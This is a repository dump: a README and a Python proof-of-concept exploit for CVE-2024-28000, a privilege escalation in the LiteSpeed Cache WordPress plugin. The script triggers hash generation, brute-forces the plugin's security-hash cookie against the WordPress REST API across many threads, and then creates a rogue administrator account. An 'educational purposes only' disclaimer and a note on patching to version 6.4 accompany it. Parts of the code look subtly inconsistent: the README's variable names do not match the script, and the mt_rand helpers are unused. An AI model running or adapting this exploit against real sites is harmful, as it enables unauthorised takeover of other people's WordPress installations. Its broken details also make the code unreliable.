├── requirements.txt ├── README.md └── litespeed_cache_poc.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LiteSpeed Cache Privilege Escalation PoC - CVE-2024-28000 2 | 3 | This repository contains a Proof of Concept (PoC) script for exploiting a privilege escalation vulnerability in the LiteSpeed Cache WordPress plugin. The vulnerability, identified as **CVE-2024-28000**, allows unauthenticated users to gain Administrator-level access to a WordPress site by brute-forcing a weak security hash used in the plugin. 4 | 5 | ## Vulnerability Overview 6 | 7 | The LiteSpeed Cache plugin's user simulation feature is protected by a weak security hash generated using predictable values. An attacker can exploit this vulnerability by brute-forcing the security hash and passing it in a cookie along with a targeted user ID. If successful, the attacker can escalate their privileges to that of an Administrator. 8 | 9 | ### Affected Versions 10 | 11 | * LiteSpeed Cache plugin versions prior to 6.4 are vulnerable. 12 | 13 | ### Author 14 | - PoC: Alucard0x1 15 | - Telegram: [https://t.me/Alucard0x1](https://t.me/Alucard0x1) 16 | 17 | ### Credit 18 | - Bug Founder: John Blackbourn 19 | - [Profile on Patchstack](https://patchstack.com/database/researcher/185b44a7-75e2-4c31-848d-a534cb44e821) 20 | 21 | 22 | 23 | ## Disclaimer 24 | 25 | **This PoC is for educational purposes only.** Do not use this script to target systems without explicit permission from the system owner. Unauthorized access to systems is illegal and unethical. 26 | 27 | ## Requirements 28 | 29 | * Python 3.x 30 | * `requests` library 31 | 32 | ## Installation 33 | 34 | Clone the repository and install the required Python package: 35 | 36 | ```bash 37 | git clone https://github.com/Alucard0x1/CVE-2024-28000.git 38 | cd CVE-2024-28000 39 | pip install -r requirements.txt 40 | ``` 41 | 42 | ## How to Use 43 | 44 | ### 1. Set Up the Target 45 | 46 | Edit the `TARGET_SITE` and `ADMIN_USER_ID` variables in the script to point to the target WordPress site and the user ID of the Administrator you want to impersonate. 47 | 48 | ```python 49 | # Target site and admin user ID 50 | target_url = 'http://example.com' 51 | 52 | admin_user_id = '1' 53 | ``` 54 | 55 | ### 2. Trigger Hash Generation 56 | 57 | The PoC first triggers the generation of the security hash on the target site using an unauthenticated AJAX request. This step is necessary if the crawler feature in the LiteSpeed Cache plugin has not been used, as the hash might not yet be generated. 58 | 59 | ### 3. Run the Brute-force Attack 60 | 61 | Run the script to start the brute-force attack: 62 | 63 | ```bash 64 | python litespeed_cache_poc.py 65 | ``` 66 | 67 | The script will attempt to brute-force the weak security hash by sending requests to the WordPress REST API. If a valid hash is found, it will print the successful hash value, and the exploit will be deemed successful. 68 | 69 | ### 4. Interpret the Results 70 | 71 | * If the script prints `[SUCCESS] Valid hash found: `, it means the exploit was successful, and Administrator-level access was gained. 72 | * If the script prints `[FAIL] Invalid hash: `, the attempt failed, and the hash was incorrect. 73 | * If the script prints `[ERROR] Unexpected response for hash: `, it indicates that an unexpected status code was returned from the target site. 74 | 75 | 76 | 77 | 78 | ## Mitigations 79 | 80 | To protect your WordPress site from this vulnerability, ensure that you are using the latest version of the LiteSpeed Cache plugin. Version 6.4 and above include patches that mitigate this vulnerability. 81 | 82 | ## License 83 | 84 | This project is licensed under the MIT License. See the LICENSE file for details. 85 | 86 | ## Contributing 87 | 88 | Contributions are welcome! If you find any issues or have suggestions for improvements, please open an issue or submit a pull request. 89 | 90 | -------------------------------------------------------------------------------- /litespeed_cache_poc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import random 3 | import string 4 | import concurrent.futures 5 | 6 | # Configuration 7 | target_url = 'http://example.com' 8 | rest_api_endpoint = '/wp-json/wp/v2/users' 9 | ajax_endpoint = '/wp-admin/admin-ajax.php' 10 | admin_user_id = '1' 11 | num_hash_attempts = 1000000 12 | num_workers = 10 13 | new_username = 'newadminuser' # Replace with desired username 14 | new_user_password = 'NewAdminPassword123!' # Replace with a secure password 15 | 16 | def mt_srand(seed=None): 17 | """ 18 | Mimics PHP's mt_srand function by setting the seed for random number generation. 19 | """ 20 | random.seed(seed) 21 | 22 | def mt_rand(min_value=0, max_value=2**32 - 1): 23 | """ 24 | Mimics PHP's mt_rand function by generating a random number within the specified range. 25 | """ 26 | return random.randint(min_value, max_value) 27 | 28 | def generate_random_string(length=6): 29 | """ 30 | Generates a random string based on the output of mt_rand. 31 | """ 32 | chars = string.ascii_letters + string.digits 33 | return ''.join(random.choices(chars, k=length)) 34 | 35 | def trigger_hash_generation(): 36 | payload = { 37 | 'action': 'async_litespeed', 38 | 'litespeed_type': 'crawler' 39 | } 40 | try: 41 | response = requests.post(f'{target_url}{ajax_endpoint}', data=payload) 42 | if response.status_code == 200: 43 | print('[INFO] Triggered hash generation.') 44 | else: 45 | print(f'[ERROR] Failed to trigger hash generation - Status code: {response.status_code}') 46 | except requests.RequestException as e: 47 | print(f'[ERROR] AJAX request failed: {e}') 48 | 49 | def attempt_hash(hash_value): 50 | cookies = { 51 | 'litespeed_hash': hash_value, 52 | 'litespeed_role': admin_user_id 53 | } 54 | try: 55 | response = requests.post(f'{target_url}{rest_api_endpoint}', cookies=cookies) 56 | return response, cookies 57 | except requests.RequestException as e: 58 | print(f'[ERROR] Request failed: {e}') 59 | return None, None 60 | 61 | def create_admin_user(cookies): 62 | user_data = { 63 | 'username': new_username, 64 | 'password': new_user_password, 65 | 'email': f'{new_username}@example.com', 66 | 'roles': ['administrator'] 67 | } 68 | try: 69 | response = requests.post(f'{target_url}{rest_api_endpoint}', cookies=cookies, json=user_data) 70 | if response.status_code == 201: 71 | print(f'[SUCCESS] New admin user "{new_username}" created successfully!') 72 | else: 73 | print(f'[ERROR] Failed to create admin user - Status code: {response.status_code} - Response: {response.text}') 74 | except requests.RequestException as e: 75 | print(f'[ERROR] User creation request failed: {e}') 76 | 77 | def worker(): 78 | for _ in range(num_hash_attempts // num_workers): 79 | random_string = generate_random_string() 80 | print(f'[DEBUG] Trying hash: {random_string}') 81 | 82 | response, cookies = attempt_hash(random_string) 83 | 84 | if response is None: 85 | continue 86 | 87 | print(f'[DEBUG] Response status code: {response.status_code}') 88 | print(f'[DEBUG] Response content: {response.text}') 89 | 90 | if response.status_code == 201: 91 | print(f'[SUCCESS] Valid hash found: {random_string}') 92 | create_admin_user(cookies) 93 | return 94 | elif response.status_code == 401: 95 | print(f'[FAIL] Invalid hash: {random_string}') 96 | else: 97 | print(f'[ERROR] Unexpected response for hash: {random_string} - Status code: {response.status_code}') 98 | 99 | def main(): 100 | # Seeding the random number generator (mimicking mt_srand) 101 | mt_srand() 102 | 103 | trigger_hash_generation() 104 | 105 | with concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) as executor: 106 | futures = [executor.submit(worker) for _ in range(num_workers)] 107 | concurrent.futures.wait(futures) 108 | 109 | if __name__ == '__main__': 110 | main() 111 | --------------------------------------------------------------------------------